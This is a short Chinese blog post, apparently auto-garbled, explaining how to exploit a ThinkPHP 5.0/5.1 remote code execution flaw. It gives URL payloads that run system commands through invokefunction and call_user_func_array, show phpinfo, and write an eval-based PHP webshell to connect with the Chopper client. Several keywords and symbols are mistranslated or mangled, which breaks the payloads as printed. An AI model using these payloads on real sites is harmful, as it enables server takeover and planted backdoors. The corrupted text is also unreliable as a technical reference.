如何实现ThinkPHP5.0远程代码执行

介绍

本篇文章给大家分享的是有关如何实现ThinkPHP5.0远程代码执行,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

ThinkPHP是一款国内流行的开源PHP框架,某些版本可能存在远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。

受影响的版本包括5.0 <强> 和<强> 5.1

下载ThinkPHP5.0.22版本源码程序,放在PHPStudy运行目录下并访问

如何实现ThinkPHP5.0远程代码执行

1。将有效载荷添加进入URL地址后面进行利用

Payload1:系统函数远程命令执行

? s=指数/认为\ app/invokefunction&函数=call_user_func_array& var [0]=system& var [1] []=whoami

如何实现ThinkPHP5.0远程代码执行

Payload2: phpinfo函数查看phpinfo()的信息

? s=指数/认为\ app/invokefunction&函数=call_user_func_array& var [0]=phpinfo& var [1] []=1

如何实现ThinkPHP5.0远程代码执行

2。利用负载写入壳,并使用菜刀进行连接

Payload1:写入壳

? s=/索引/\ \ app/invokefunction&函数=call_user_func_array& var [0]=system& var[1][]=回声^ & lt; ?($ _POST [cmd]); php @ eval调用这些查找? ^祝辞祝辞shell.php

* *注意:* *需要对特殊字符使用^转义(cmd环境下转义方式),windows环境的回声命令输出字符串到文档不用引号(单引号,双引号),部分字符url编码不编码都行。

菜刀连接

如何实现ThinkPHP5.0远程代码执行

以上就是如何实现ThinkPHP5.0远程代码执行,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

如何实现ThinkPHP5.0远程代码执行